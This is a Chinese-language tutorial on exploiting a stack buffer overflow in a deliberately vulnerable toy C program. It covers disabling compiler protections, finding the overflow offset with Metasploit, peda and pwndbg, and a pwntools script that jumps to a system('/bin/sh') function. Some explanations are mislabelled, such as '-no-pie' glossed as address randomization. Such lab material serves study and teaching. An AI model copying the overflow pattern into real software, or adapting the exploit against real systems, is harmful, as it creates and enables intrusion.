0x00 準備工作
首先,用於溢出的C語言代碼爲:
#include <stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
接下來對其進行編譯:
gcc -no-pie -fno-stack-protector -z execstack -m32 -o 3.exe 3.c
註釋:
-no-pie:地址隨機化
-fno-stack-protector:沒有堆棧保護
-z execstack:堆棧可執行
編譯完成以後,checksec 3.exe 查看它的保護機制:
0x01如何判斷是否發生了溢出?
1.通過如下語句可以查看程序中使用到的函數,查看是否使用一些危險函數
objdump -t xxx
這句話列出了使用的所有函數,我們如果想查看是否使用某一個特定的函數,我們可以使用下面這句命令:
objdump -t .text 3.exe |grep read
2.查看程序中函數的彙編代碼
objdump -d xxx
由於採用了linux格式的彙編,看起來可能不是很習慣,我們可以採用下面這條命令把它換爲因特爾平臺下的格式:
objdump -d -M intel 3.exe
溢出的話,一般會調用system函數,我們可以通過查看是否存在這些函數的反彙編,來判斷,如下,找出了system函數的地址
0x02通過kali自帶的msf定位溢出點位置
使用gdb 3.exe,
使用peda,可以查看相關命令
使用start,開始編譯
然後disass exploit,進行彙編
另外打開一個命令行輸入
msf-pattern_create -l 100
得到了隨機的一個串,用來定位,返回到第一個命令行,接下來輸入r,然後運行之後,輸入剛剛得到的那個串,就可以發現程序中斷掉了,發生了溢出,此時我們看到溢出了,而且此時的eip爲0AB1
然後輸入
msf-pattern_offset -q 0Ab1
可以看到我們要填充32個字符,才能溢出成功!
0x02通過peda插件定位溢出點位置
輸入命令
pattern_create 100
生成一個隨機串,然後運行,並把這個隨機串放進去,發現程序還是中斷掉了,中斷的位置是A)AA
接下來,通過如下命令,可以定位出溢出的位置
pattern offset A)AA
0x03通過pwndbg插件定位溢出點位置
首先,我們可以通過如下命令對pwndbg和peda進行切換
nano /root/.gdbinit
切換好以後,gdb 3.exe 進行編譯,然後就可以看到切換到了pwndbg下,這是我們可以通過 pwn 來查看pwndbg的相關命令
start之後,然後輸入如下命令
cyclic 100
生成一個隨機串,然後 r ,再把這個隨機串放進去執行,發現還是中斷了,中斷的位置是:iaaa
接下來輸入如下命令,就可以判斷出溢出位置
cyclic -l iaaa
0x04 利用python程序定位到exploit函數:
python程序編輯如下:
from pwn import *
p=process('./3.exe')
offset = 32
payload ='a'*offset+p32(0x8049182)
p.sendline(payload)
p.interactive()
這裏的 0x8049182 是exploit函數的首地址,從這個位置開始執行就能成功 get shell
然後執行這個python文件,python 3.py
就可以成功溢出,然後獲得shell了!